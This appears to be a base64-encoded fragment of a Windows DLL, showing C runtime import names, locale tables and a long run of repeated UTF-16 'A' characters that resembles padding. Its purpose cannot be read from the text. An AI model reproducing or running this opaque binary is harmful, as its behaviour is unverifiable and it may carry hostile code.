lc3NJZADFAUdldEN1cnJlbnRUaHJlYWRJZAAAeQJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQDnAkluaXRpYWxpemVTTGlzdEhlYWQAAANJc0RlYnVnZ2VyUHJlc2VudABjAkdldFN0YXJ0dXBJbmZvVwAYBFJ0bFVud2luZACxA1JhaXNlRXhjZXB0aW9uAADuAkludGVybG9ja2VkRmx1c2hTTGlzdABzBFNldExhc3RFcnJvcgAA6gBFbmNvZGVQb2ludGVyAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AANEARGVsZXRlQ3JpdGljYWxTZWN0aW9uAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAGIBRnJlZUxpYnJhcnkAPgNMb2FkTGlicmFyeUV4VwAAGQFFeGl0UHJvY2VzcwAXAkdldE1vZHVsZUhhbmRsZUV4VwAAzwJIZWFwRnJlZQAAywJIZWFwQWxsb2MALQNMQ01hcFN0cmluZ1cAAC4BRmluZENsb3NlADMBRmluZEZpcnN0RmlsZUV4QQAAQwFGaW5kTmV4dEZpbGVBAAoDSXNWYWxpZENvZGVQYWdlAGgBR2V0QUNQAAA3AkdldE9FTUNQAAByAUdldENQSW5mbwCGAUdldENvbW1hbmRMaW5lQQCHAUdldENvbW1hbmRMaW5lVwDaAUdldEVudmlyb25tZW50U3RyaW5nc1cAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cASgJHZXRQcm9jZXNzSGVhcAAAZAJHZXRTdGRIYW5kbGUAAPMBR2V0RmlsZVR5cGUAaQJHZXRTdHJpbmdUeXBlVwAA1AJIZWFwU2l6ZQAA0gJIZWFwUmVBbGxvYwCHBFNldFN0ZEhhbmRsZQAAJQVXcml0ZUZpbGUAVwFGbHVzaEZpbGVCdWZmZXJzAACaAUdldENvbnNvbGVDUAAArAFHZXRDb25zb2xlTW9kZQAAZwRTZXRGaWxlUG9pbnRlckV4AABSAENsb3NlSGFuZGxlACQFV3JpdGVDb25zb2xlVwDKAERlY29kZVBvaW50ZXIAjwB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gRwEQAAAAAAAAAAAw+wAQsPwAEEj2ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYRQEQcEMBEEMAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////LgAAAC4AAAAAAAAAFEcBEJykARCcpAEQnKQBEJykARCcpAEQnKQBEJykARCcpAEQnKQBEH9/f39/f39/GEcBEKCkARCgpAEQoKQBEKCkARCgpAEQoKQBEKCkARD+////AAAAAAAAAAAAAAAAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQ